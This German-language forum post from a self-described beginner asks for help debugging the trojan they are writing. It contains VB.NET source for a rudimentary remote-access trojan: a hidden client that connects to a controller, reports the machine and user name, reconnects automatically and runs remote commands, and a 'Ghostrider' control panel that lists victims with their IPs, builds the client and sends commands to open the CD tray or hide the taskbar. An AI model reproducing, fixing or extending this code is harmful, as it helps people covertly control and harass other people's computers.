Trojana erstellen Anfänger

[cleopatra]

Hallo bin neu hier und auch was sachen Trojaner angeht breuchte mal eure Hilfe poste hier gleich 2 Codes Steuer Tool und Client verstehe nicht wieso er nicht das CD fach öffnet und schließt was habe ich falsch geprogt

Client:

Public Class Form1
    Public WithEvents C As New SocketClient
    Public Yy As String = " "
    Public HOST As String = "localhost"
    Public port As Integer = 80
    Public cap As New CRDP
    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal Command As String, ByVal ReturnString As String, ByVal ReturnLength As Long, ByVal hWnd As Long) As Long
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        End
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.ShowInTaskbar = False
        Me.Hide()
        Me.Visible = False
        C.Connect(HOST, port)
    End Sub
#Region "Socket Events"
    Private Sub Connected() Handles C.Connected

    End Sub
    Private Sub Disconnected() Handles C.Disconnected
        ' Reconnect
        C.Connect(HOST, port)
    End Sub
    Private Sub Data(ByVal b As Byte()) Handles C.Data
        Dim T As String = BS(b)
        Dim A As String() = Split(T, Yy)
        Try
            Select Case A(0)
                Case "~" ' server ask me what is my pc name
                    Dim pc As String = Environment.MachineName & "/" & Environment.UserName
                    C.Send("~" & Yy & pc)
                Case "close"
                    End
                Case "+"
                    mciSendString("set CDAudio door open", 0, 0, 0)
                Case "-"
                    mciSendString("set CDAudio door close", 0, 0, 0)
            End Select

        Catch ex As Exception
        End Try


    End Sub

#End Region
End Class

Steuereinheit:

Imports System.Text
Imports System.Threading
Imports System.Net.NetworkInformation
Imports System.Net
Imports System.Net.Sockets
Imports System.Media
Imports System.IO
Imports System.Runtime.Serialization
Imports System.Runtime.Serialization.Formatters.Binary
Public Class Form1
    Public WithEvents S As New SocketServer
    Public Yy As String = " "
    Private close_cd As Object
    Private open_cd As Object
    Public Property Country As Object
    Public Property CD_OPEN As Object

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Control.CheckForIllegalCrossThreadCalls = False
        S.Start(80)
    End Sub
#Region "Server Events"
    Sub Disconnect(ByVal sock As Integer) Handles S.DisConnected
        Me.Text = "Ghostrider ,Onlines{x}".Replace("x", S.Online.Count)
        Try
            L1.Items(sock.ToString).Remove()
        Catch ex As Exception
        End Try
    End Sub
    Sub Connected(ByVal sock As Integer) Handles S.Connected
        Me.Text = "Ghostrider ,Onlines{x}".Replace("x", S.Online.Count)
        S.Send(sock, "~") ' i ask him to send me PC name
    End Sub

    Delegate Sub _Data(ByVal sock As Integer, ByVal B As Byte())
    Sub Data(ByVal sock As Integer, ByVal B As Byte()) Handles S.Data

        Dim T As String = BS(B)
        Dim A As String() = Split(T, Yy)
        Try

            Select Case A(0)
                Case "~" ' Client Sent me PC name
                    Dim L = L1.Items.Add(sock.ToString, A(1), 0)
                    L.SubItems.Add(S.IP(sock))
                    L.ToolTipText = sock



            End Select
        Catch ex As Exception
            MsgBox(ex.Message)
        End Try

    End Sub
#End Region

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        If Button1.Text = "Build Server" Then
            Button1.Text = ""
        ElseIf Button1.Text = "" Then
            Button1.Text = "Build Server"
        End If
    End Sub

    Private Sub CloseRatToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseRatToolStripMenuItem.Click
        Application.Exit()
        End
    End Sub

    Private Sub CloseClientToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseClientToolStripMenuItem.Click
        For Each x As ListViewItem In L1.SelectedItems
            S.Send(x.ToolTipText, "close")
        Next
    End Sub

    Private Sub AboutToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles AboutToolStripMenuItem.Click
        MsgBox("Codet and Designed by Cleopatra")
    End Sub

    Private Sub CDOPENToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CDOPENToolStripMenuItem.Click
        S.SendData("+")

    End Sub

    Private Sub CDCLOSEToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CDCLOSEToolStripMenuItem.Click
        S.SendData("-")

    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        build.Show()
    End Sub

    Private Sub HIDETASKBARToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HIDETASKBARToolStripMenuItem.Click
        S.SendData("hide_taskbar")
    End Sub

    Private Sub SHOWTASKBARToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SHOWTASKBARToolStripMenuItem.Click
        S.SendData("show_taskbar")
    End Sub

    Private Sub HIDESTARTToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HIDESTARTToolStripMenuItem.Click
        S.SendData("hide_start")
    End Sub

    Private Sub SHOWSTARTToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SHOWSTARTToolStripMenuItem.Click
        S.SendData("show_start")
    End Sub
End Class

Danke für eure Hilfe ist aber nicht der ganze code